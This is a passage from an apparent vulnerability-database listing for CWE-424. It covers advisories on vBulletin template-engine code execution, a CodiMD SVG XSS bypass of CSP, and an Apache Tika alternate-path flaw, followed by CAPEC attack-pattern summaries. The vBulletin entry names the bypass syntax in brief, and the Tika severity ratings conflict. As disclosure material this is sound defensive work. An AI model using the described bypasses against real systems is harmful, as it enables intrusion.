    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-27T04:15:45Z",
    "severity": "CRITICAL"
  },
  "details": "Certain vBulletin versions might allow attackers to execute arbitrary PHP code by abusing Template Conditionals in the template engine. By crafting template code in an alternative PHP function invocation syntax, such as the \"var_dump\"(\"test\") syntax, attackers can bypass security checks and execute arbitrary PHP code.",
  "id": "GHSA-58pj-rcxg-3vhg",
  "modified": "2025-05-27T18:30:49Z",
  "published": "2025-05-27T06:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48828"
    },
    {
      "type": "WEB",
      "url": "https://blog.kevintel.com/vbulletin-replaceadtemplate-kev"
    },
    {
      "type": "WEB",
      "url": "https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce"
    },
    {
      "type": "WEB",
      "url": "https://kevintel.com/CVE-2025-48828"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-64GV-P96G-GQXJ

Vulnerability from github – Published: 2025-04-26 21:31 – Updated: 2025-04-26 21:31
VLAI
Details

CodiMD through 2.5.4 has a CSP-based protection mechanism against XSS through uploaded SVG documents containing JavaScript, but it can be bypassed in certain cases of different-origin file storage, such as AWS S3. NOTE: it can be considered a user error if AWS is employed for hosting untrusted JavaScript content, but the selected architecture within AWS does not have components that are able to insert Content-Security-Policy headers.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-46655"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-424"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-26T21:15:15Z",
    "severity": "MODERATE"
  },
  "details": "CodiMD through 2.5.4 has a CSP-based protection mechanism against XSS through uploaded SVG documents containing JavaScript, but it can be bypassed in certain cases of different-origin file storage, such as AWS S3. NOTE: it can be considered a user error if AWS is employed for hosting untrusted JavaScript content, but the selected architecture within AWS does not have components that are able to insert Content-Security-Policy headers.",
  "id": "GHSA-64gv-p96g-gqxj",
  "modified": "2025-04-26T21:31:26Z",
  "published": "2025-04-26T21:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46655"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hackmdio/codimd/issues/1910"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zast-ai/vulnerability-reports/blob/main/formidable/file_upload/report.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6M77-JGXR-WX9C

Vulnerability from github – Published: 2026-07-30 21:31 – Updated: 2026-08-10 15:33
VLAI
Details

Improper Protection of Alternate Path vulnerability in Apache Tika.

This issue affects Apache Tika: from 4.0.0-alpha-1 before 4.0.0-beta-1.

Users are recommended to upgrade to version 4.0.0-beta-1, which fixes the issue.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-66756"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-424"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-30T20:18:13Z",
    "severity": "MODERATE"
  },
  "details": "Improper Protection of Alternate Path vulnerability in Apache Tika.\n\nThis issue affects Apache Tika: from 4.0.0-alpha-1 before 4.0.0-beta-1.\n\nUsers are recommended to upgrade to version 4.0.0-beta-1, which fixes the issue.",
  "id": "GHSA-6m77-jgxr-wx9c",
  "modified": "2026-08-10T15:33:29Z",
  "published": "2026-07-30T21:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66756"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/ynjg5lxwhqpc83pczf5y5561o2l4o568"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/07/30/24"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Architecture and Design

Deploy different layers of protection to implement security in depth.

CAPEC-127: Directory Indexing

An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.

CAPEC-554: Functionality Bypass

An adversary attacks a system by bypassing some or all functionality intended to protect it. Often, a system user will think that protection is in place, but the functionality behind those protections has been disabled by the adversary.

← Back to the CWE list